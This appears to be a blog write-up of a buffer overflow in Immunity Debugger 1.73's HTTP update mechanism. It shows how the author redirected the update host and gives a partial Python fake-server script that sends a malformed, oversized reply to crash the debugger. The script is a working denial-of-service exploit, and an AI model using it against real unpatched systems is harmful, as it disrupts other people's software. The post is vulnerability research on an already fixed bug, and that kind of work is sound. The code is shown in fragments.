Another trawl through BugTraq, another cool vulnerability.
Today, it’s a buffer overflow with Immunity Debugger (version 1.73). This caught my interest because I love the idea of finding a vulnerability in a Debugger, with the same Debugger 😀
Before I start, I should say that this has now been fixed in the latest version which should be downloaded from Immunity’s site.
The original report on BugTraq came from Paul Harrington with a description of:
Immunity Debugger V1.73 contains a buffer overflow vulnerability in its HTTP update mechanism
So, we now know that we have a vulnerability with the update mechanism, using the HTTP protocol.
First thing we do is fire up Wireshark to see the data being sent to and from the Debugger. From everything that is sent via HTTP, the most interesting is the following request:
The reason this looks interesting is by looking at the response, we can see where a buffer overflow may occur when reading in strings.
Next, we want to redirect all traffic sent to http://auth.immunitydebugger.com so we can build a working exploit. This is easily done by editing out ‘hosts’ file to something like:
# Copyright (c) 1993-2009 Microsoft Corp.
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
# For example:
# 22.214.171.124 rhino.acme.com # source server
# 126.96.36.199 x.acme.com # x client host
# localhost name resolution is handled within DNS itself.
# 127.0.0.1 localhost
# ::1 localhost
This will send any traffic for ‘http://auth.immunityinc.com’ to 127.0.0.1
I created a simple (and dirty) python script to send a HTTP response with malformed data:
port = 80
_bind_socket = 0
_client_socket = 0
_client_addr = ""
_server_running = True
_evil_string = "HTTP/1.1 200 OK\r\nDate: Tue, 22 March 2011 17:43:53 GMT\r\nServer: Apache\r\nContent-Type: text/plain\r\n\r\n\n!\n%FUBAR_NAME&" + ("A" * 1000000)
def __init__(self, port):
self.port = port
self._bind_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
(self._client_socket, self._client_addr) = self._bind_socket.accept()
except Exception as e:
print "An Error Occured Binding To Port " + str(self.port)
data = self._client_socket.recv(9076)
if data[:44] == "POST /ImmunityDebugger/ID_getads.py HTTP/1.1" or data[:43] == "GET /ImmunityDebugger/ID_getads.py HTTP/1.1":
print "[X] Received Request For /ImmunityDebugger/ID_getads.py"
print "[X] Malformed Reply sent, client should have crashed"
self._server_running = False
if __name__ == "__main__":
print " Immunity Debugger (v1.73) HTTP DOS exploit"
print " http://xpnsbraindump.blogspot.com"
leet_exploit = immunity_debugger_exploit(80)
Sure enough, we have a our crash which shows that our list of ‘AAAA’s has had an effect on Immunity Debuggers run.
Digging into the disassembly, you can see that the vulnerable function is just a simple “rep movs” op which doesn’t do correct bounds checking.
To build a Remote Code Exec exploit for this program could well be possible, but not quite as easy as using a SEH overwrite. This is because only a finite amount of data is read during the retrieval of the HTTP data.
It may be possible by cleverly overwriting memory locations, but to be honest, the window of opportunity of pulling off a successful exploit is not worth the hassle, it’s just about having fun !